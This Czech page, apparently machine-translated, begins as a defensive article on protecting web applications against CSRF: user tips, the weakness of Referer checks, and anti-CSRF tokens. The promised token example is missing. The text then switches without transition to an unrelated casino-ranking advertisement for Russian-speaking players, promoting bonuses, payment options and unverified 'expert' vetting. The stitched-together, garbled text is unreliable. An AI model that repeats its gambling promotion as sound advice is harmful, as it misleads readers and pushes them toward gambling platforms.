    Pokusil jsem se popsat, co přesně tato zranitelnost je a co je důležité, jaké podmínky jsou nutné k provedení CSRF útoku.

    V tomto článku se pokusím mluvit o ochraně před útoky tohoto typu ze stran:

    • Ze strany klienta - hlavní způsoby, jak se chránit
    • Strana serveru - správný návrh aplikace

    Pokud vás zajímá, jak se chránit před CSRF, pak vítejte na kočce.

    obecná informace

    Obecně vám chci připomenout, že CSRF NENÍ zranitelnost, je to typ útoku. A tento útok se provádí na koncovém uživateli webové aplikace pomocí zranitelnosti v tato aplikace, kterou lze nazvat „Nedostatek řádného ověření zdroje žádosti“ (na název jsem přišel sám, nesuďte přísně, ale je to tak). Ale dále budu CSRF nazývat zranitelností a útokem spojeným do jednoho, protože je jednodušší a takto je přijímán =)

    A jelikož je útok veden na uživatele, tak se uživatel musí bránit... jen si dělám srandu =) Faktem je, že každý uživatel může snížit možnost tohoto útoku na jakékoli stránce, kterou používá (i když tyto stránky nemají vestavěná ochrana proti CSRF). Kromě uživatelů ale mohou svou aplikaci navrhnout tak, aby zabránili možnosti provést tento útok na své uživatele, sami vývojáři stránek.

    Podívejme se na ochranu z obou stran.

    Ochrana uživatele

    Obecně je zde vše velmi banální:

    • Neklikejte na odkazy, které vám nabízejí třetí strany. Toto je ta nejbanálnější rada, myslím, že to už každý ví, ale rozhodl jsem se to zopakovat.
    • Zrušit autorizaci po dokončení práce s konkrétním webem. I když existuje zranitelnost, útočník nebude moci provádět akce na cílovém webu vaším jménem.
    • Použijte samostatný prohlížeč nebo „soukromý nebo anonymní režimy» pro práci s důležitými stránkami (ideálně používat pro každou stránku jeden prohlížeč ^_^ nebo ještě lépe samostatný počítač:D).

    To je vše. Nyní přejděme k tomu hlavnímu.

    Ochrana vývojáře

    Jak již bylo zmíněno, zranitelnost spočívá v nedostatku řádného ověření zdroje požadavku. To znamená, že při vývoji aplikace musíme zabudovat funkcionalitu pro kontrolu tohoto zdroje. A co nás jako první napadne? Že jo! Kontrola refereru.

    Kontrola refereru

    Řeknu to hned, pro ty, kteří čtou články diagonálně. Založit svou obranu pouze na kontrole této hlavičky je špatné(!). Proč - viz níže.

    Za prvé, pojďme zjistit, co je tato metoda.

    S webovými stránkami pracujeme pomocí protokolu HTTP. Každý paket tohoto protokolu je sada hlaviček + obsah paketu. Jednou z těchto hlaviček je Referer. Obsahuje adresu zdroje doporučení. Triviální příklad: máte otevřený web A, na tomto webu kliknete na odkaz na web B, v tuto chvíli, když zadáte požadavek, bude hlavička Referer obsahovat adresu webu A. To znamená, že by se zdálo, že jde o ideální mechanismus pro sledování toho, odkud uživatel přišel.

    Tady je křen. A nejde o to, že referer může být falešný (který rozumný hacker by požádal oběť, aby nahradila referrera a následovala zadaný odkaz). A je fakt, že dle mých statistik má asi 5% uživatelů přenos Referer vypnutý. To znamená, že buď těchto pět procent nebude moci s webem vůbec pracovat, nebo budou tímto útokem zranitelní (v závislosti na politice vaší aplikace).

    Ano, ano, ano, vím, co si myslíte... No, co je sakra s těmi 5 %? Nechte je být zranitelní, ale zbývajících 95 % je chráněno a zároveň vás stojí málo krve. To znamená, že pokud referrer obsahuje adresu naší aplikace nebo je prázdný, považujeme zdroj za potvrzený? Tady je zase křen! Existují možnosti, jak donutit prohlížeč oběti, aby splnil požadavek, aniž by byl uveden referrer (o tom jsem psal)! A voila! Ukazuje se, že všichni uživatelé jsou stále zranitelní.

    Obecně jako nezávislá metoda tato metoda bezvýznamný.

    Potvrzení akce

    Ke každému přihlašovacímu formuláři můžete připojit captcha a ukázat jej i registrovaným uživatelům, abyste je zachránili z CSRF... I když možná bych raději dal svůj účet hackerovi, než pracovat v takovém systému...

    Tokeny

    No a teď jediná správná a spolehlivá cesta.

    Význam tato metoda spočívá v přidání parametru obsahujícího nějaké „tokeny“ ke každému odkazu, formuláři pro odeslání atd. A při přijetí požadavku musí server zkontrolovat přítomnost tohoto tokenu v přijatých parametrech. Přirozeně, každý token pro každého uživatele musí být jedinečný, a ještě lépe, pokud je každý token jedinečný.

    Jeden z nejjednodušších a nejspolehlivějších příkladů implementace – s každým požadavkem se vygeneruje nový token, který se nainstaluje do souborů cookie uživatele a přidá se také do parametrů formulářů a odkazů na stránce:

    A poté, po obdržení každého požadavku, je token z cookies porovnán s tokenem zadaným v parametrech formuláře. A pokud jsou stejné, pak je zdroj žádosti legální. Poté je token znovu vygenerován a znovu nastaven v cookie atd. kolo.

    Obecně se implementace může lišit, ale problém je, že přechod na tokeny je poměrně obtížný, protože musíte vzít v úvahu každý odkaz, každý formulář, každou stránku... Můžete chránit pouze důležité stránky/formuláře/odkazy, ale pak je šance některé z nich minout.

    Osobně chráním pouze formuláře POST a velmi důležité odkazy. To znamená, že POST v mých aplikacích nefunguje bez správného tokenu. To eliminuje možnost, že zapomenete chránit nějaký formulář, protože to prostě nebude fungovat a já si toho všimnu hned.

    Závěr

    Doufám, že z tohoto článku pochopíte, jak se chránit před útoky CSRF.

    Nalezení spolehlivých a poctivých online kasin vyžaduje spoustu volného času, zvláště pokud jde o začátečníky. Je potřeba zhodnotit transparentnost herního klubu, online reputaci, recenze ostatních uživatelů, rychlost plateb a mnoho dalších provozních faktorů. Abychom hráče před takovým osudem zachránili, sestavili jsme hodnocení kasin, která prošla důkladnou kontrolou a potvrdila vlastní poctivost a dobré výnosy z automatů.

    Naše hodnocení nejlepších kasin

    Už není třeba utrácet osobní čas zkontrolovat spolehlivost provozovny. Zkušení analytici specializující se na hazardní hry a trávící desítky hodin v kasinech měsíčně provedli vlastní objektivní hodnocení práce herních klubů. Analyzovali stovky provozoven, aby uživatelům nakonec nabídli nejlepší platformy dostupné na internetu.

    Původní seznam klubů byl poměrně velký, ale během procesu analýzy byly vyřazeny pochybné a nespolehlivé podniky. Jako varování pro odborníky slouží například přítomnost falešné licence, chybějící certifikáty pro sloty, záměna serveru v automatu a mnoho dalšího. I jeden faktor, který vám umožňuje pochybovat o integritě kasina, je důvodem k vyloučení z hodnocení.

    Kromě povrchní analýzy herních platforem se kontrolují informace o provozovnách na internetu. Při analýze se bere v úvahu online pověst, recenze současných a bývalých hráčů, přítomnost konfliktních situací, skandály v kasinech a způsoby řešení problémů od tvůrců. Zvláštní pozornost je věnována mladým klubům s praxí do 1-2 let.

    Jak se sestavuje hodnocení kasina a kdo se tam dostane?

    Abychom vytvořili hodnocení licencovaných kasin, zapojujeme zkušené hráče a analytiky s více než 10 lety zkušeností v oboru. Díky svým znalostem mohou podvodné kluby snadno vymýtit a poté provést důkladnou analýzu zbývajících provozoven. Výsledkem je malý seznam spolehlivých kasin, kde můžete bezpečně hrát bez obav o férovost výsledků a výplatu výher.

    • dostupnost licence od regulátora hazardních her a zvolená jurisdikce pro registraci;
    • zabezpečení platformy, které zaručuje důvěrnost dat a platebních informací;
    • výběr licencovaného softwaru od spolehlivých poskytovatelů, do jejichž práce nelze zasahovat;
    • dostupnost ruskojazyčné verze pro větší pohodlí pro uživatele z Ruska a zemí SNS;
    • podpůrná služba, včetně jejího pracovního harmonogramu, rychlosti reakcí, kvality řešení problémů;
    • výběr peněz bez dalších prodlev nebo ověřování, stejně jako možnosti přijímání peněz a rychlost zpracování transakcí;
    • bonusové programy pro nové a pravidelné uživatele, přítomnost turnajů, loterií, pravidelné propagační akce;
    • platební systémy, které ovlivňují pohodlí zákazníků při doplňování svých účtů a vybírání výher.

    To je jen malý výčet aktuálních požadavků, které posuzují odborníci. Každé kritérium má svůj vlastní koeficient důležitosti, který je zohledněn při sčítání konečného výsledku.

    Co je to licencované kasino?

    Hodnocení kasina, která ukazují poctivost a transparentnost herních platforem, se mohou skládat výhradně z provozoven s platnou provozní licencí. Legální kluby musí být prověřovány regulátory a dodržovat všechna jejich pravidla, aby získaly povolení.

    Pouhá zmínka o přítomnosti licence na webu nestačí. Odborníci chápou, že podvodníci mohou používat loga k oklamání naivních uživatelů, takže informace nezávisle analyzují. Chcete-li to provést, přejděte na oficiální web regulátora pomocí čísla nebo názvu dokumentu právnická osoba potvrdit informaci. Pokud neexistují žádné licenční informace, jedná se o falešné.

    Analytici také používají technickou analýzu ke kontrole licencovaného softwaru. Pomocí vývojářských nástrojů získají přístup k informacím o datovém serveru. Pokud kasino používá oficiální portál poskytovatele softwaru, pak je software čestný a legální. To znamená, že nemůžete zasahovat do jeho práce a manipulovat s konečnými výsledky.

    Jak se určuje spravedlnost kasina?

    Nezávisle posoudit integritu herního klubu je poměrně obtížné, což je způsobeno množstvím dostupných zdrojů a znalostí. Před zařazením provozoven do hodnocení poctivých kasin analytici pečlivě zkontrolují mnoho faktorů:

    • regiony, ze kterých jsou hráči přijímáni, protože zakázané jurisdikce mluví za mnohé;
    • limity výběru omezující jednorázové transakce a také denní, týdenní a měsíční množství transakcí;
    • dostupnost informací o KYC a AML, které indikují soulad s požadavky legislativy na poctivost a zákonnost původu peněz;
    • pověst potvrzující poctivost a spolehlivost klubové práce a absenci významných skandálů nebo problémů;
    • trvání práce, což vám umožní plně vyhodnotit historii online zdroje, včetně všech výhod a nevýhod;
    • přítomnost regulátora a dodržování jeho pravidel, což zvyšuje šance na férové ​​operace.

    Licence a regulátor jsou poměrně důležitými kritérii, ale to neposkytuje 100% záruku poctivosti. S takovým titulem mohou počítat pouze kluby, které hráčům umožnily získat velké výhry a jackpoty, daly dárky do loterií a turnajů.

    Typy hracích automatů

    Množství hracích automatů, automatů a dalších druhů hazardní zábavy vypovídá o podniku hodně. Některé kluby spolupracují pouze s několika poskytovateli softwaru, ale dostávají od nich oblíbené a nové herní nabídky, jiné rozšiřují síť partnerských dohod a zvou ke spolupráci obrovské množství značek. Čím více strojů je na herní platformě prezentováno, tím snazší je pro klienta vybrat si automat, který se mu líbí.

    Hodnocení licencovaných kasin však zohledňuje nejen rozmanitost her, ale také jejich kvalitu. Spolehlivá herní zařízení používají výhradně licencovaný software, který byl testován na poctivost a bezpečnost. Takové stroje vám umožňují počítat s návratností až 98 % a nemůžete zasahovat do jejich práce a upravovat algoritmus pro generování výsledků.

    Abych byl upřímný, všechny stránky jsou zaměřeny na zisk. I když jeden z hráčů vyhraje jackpot, provozovna zůstává dlouhodobě v plusu. Ale pouze poctivé kluby umožňují uživatelům získat velký jackpot a vybrat jej na skutečný účet. To je to, co odlišuje licencovaná online kasina od podvodných projektů.

    Bonusová politika

    Není možné vytvořit hodnocení kasina bez zohlednění bonusové politiky. Všechny herní kluby využívají propagační akce a dárky k přilákání nových a udržení stávajících zákazníků. Některá zařízení se však chovají docela mazaně, vytvářejí skryté podmínky pro sázení nebo časové rozlišení, nastavují nereálné sázkové podmínky v rozmezí x60-100, které je téměř nemožné splnit.

    Standardní sada pobídek se skládá z následujících kategorií:

  • Bonus bez vkladu za vítání nových zákazníků – uděluje se za potvrzení vaší e-mailové adresy a telefonního čísla. Jako odměnu využívají volné peníze nebo bezplatná otočení na automatech s povinným požadavkem na sázení.
  • Registrační dárek - bezplatná otočení nebo multiplikátory částky doplnění účtu o 1-5 vkladů od okamžiku vytvoření osobního profilu. Přesnou výši bonusu a maximální limity si každý klub nastavuje individuálně.
  • Věrnostní program - různé systémy uživatelských statusů, které ovlivňují velikost týdenního cashbacku, dostupnost osobních podmínek služby, individuální dárky, výhodné směnné kurzy domácí měny a mnoho dalšího.
  • Propagační kódy jsou pravidelné akce od herních klubů, které rozdávají dárkové certifikáty na roztočení zdarma, žádné vklady nebo multiplikátory účtu pro každého.
    • Rusky mluvící kasina

    Při sestavování hodnocení nejlepších kasin roku 2020 se bere v úvahu přítomnost ruského jazyka na platformě. Rozhraní v ruštině umožňuje uživatelům z Ruska, Běloruska, Ukrajiny a zemí SNS snadno porozumět registraci, přihlášení, doplňování účtu a dalším funkcím platformy. I to potvrzuje, že provozovna je zaměřena na rusky mluvící uživatelé, která jim nabízí jedinečné bonusy a podporu.

    Zohledňuje se práce podpůrné služby. Většina herních klubů poskytuje asistenci klientům výhradně na anglický jazyk, což komplikuje proces komunikace. K podání žádosti a pochopení odpovědi podpory musíte použít překladatele nebo kontaktovat zkušené lidi. Hodnocení proto zahrnuje pouze ty online kluby, které radí klientům v podpůrných chatech a po telefonu v ruštině.

    Rozhraní v ruském jazyce v kasinu vám umožní porozumět uživatelským pravidlům platformy bez dalšího úsilí, studijním bonusovým nabídkám a vlastnostem jejich načítání, sázení a účastnit se turnajů a loterií bez jakýchkoli pochybností o správnosti akce.

    Kasino s rychlými výběry

    Zvláštní pozornost je věnována rychlosti výplat v online kasinech. Některé kluby nabízejí výběr finančních prostředků bankovních karet a elektronické peněženky během několika hodin a pro VIP klienty jsou požadavky zpracovány okamžitě. Jiné využívají ruční zpracování žádostí v pracovní dny podle zvláštního harmonogramu, takže platby mohou být zpožděny až o 1–3 pracovní dny od data podání žádosti. Aby uživatelé ušetřili dlouhé čekání, bylo vytvořeno hodnocení kasina s rychlými výběry.

    Skládá se výhradně z těch institucí, které promptně posuzují všechny žádosti a nevytvářejí překážky pro příjem peněz. Zohledňuje se nejen rychlost převodů, ale také absence problémů při vyžádání velkých plateb nebo převodů peněz po výhře jackpotu nebo velkého jackpotu. Pouze poctivá zařízení mohou zaručit spravedlivost plateb a absenci problémů s platbami.

    Rovněž je provedena analýza dostupných platebních systémů pro vklady a žádosti o peníze. Standardní stránky podporují minimální počet metod, ale progresivní kluby neustále analyzují trendy za účelem integrace nových technických řešení.

    Hlavní platební systémy v online kasinech:

    • bankovní karty MIR, MasterCard, Visa;
    • elektronické peněženky QIWI, Yandex, Webmoney, Neteller, Skrill a další;
    • mobilní platby Beeline, MegaFon, MTS, TELE2;
    • ruské internetové bankovnictví;
    • populární kryptoměny, včetně bitcoinu, etherea, litecoinu.
    Služba technické podpory uživatelů

    Důležitým faktorem, který byl zohledněn při vytváření hodnocení poctivých kasin, je dostupnost zákaznické podpory a kvalita její práce. Spolehlivá zařízení se starají o vlastní klientelu, proto organizují speciální telefonní linky, stejně jako online chaty pro rychlé zodpovězení dotazů uživatelů a řešení jejich problémů.

    K analýze podpory použili analytici telefonní linky, živé chaty a e-mailové kontakty. V různou denní dobu zaměstnanci webu dostávali různé otázky nebo požadavky na vyřešení technických problémů. Poté byla posouzena kvalita jejich práce, která zahrnovala následující faktory:

    • rychlost odezvy;
    • zda poradce problém vyřeší a jak dlouho to trvá;
    • gramotnost odpovědí a dostupnost rusky mluvícího podpůrného personálu.

    Pokud kasino nemá rusky mluvící operátory, doporučujeme k překladu otázek a odpovědí konzultantů použít online překladač od Googlu.

    závěry

    Než se zaregistrujete v online klubu, musíte analyzovat spolehlivost a transparentnost jeho práce a také zkontrolovat jeho pověst a recenze online. Místo toho doporučujeme použít hodnocení poctivých kasin sestavené zkušenými hráči. S využitím vlastních zkušeností odmítli desítky podezřelých herních klubů a na seznamu ponechali nejlepší podniky roku 2020.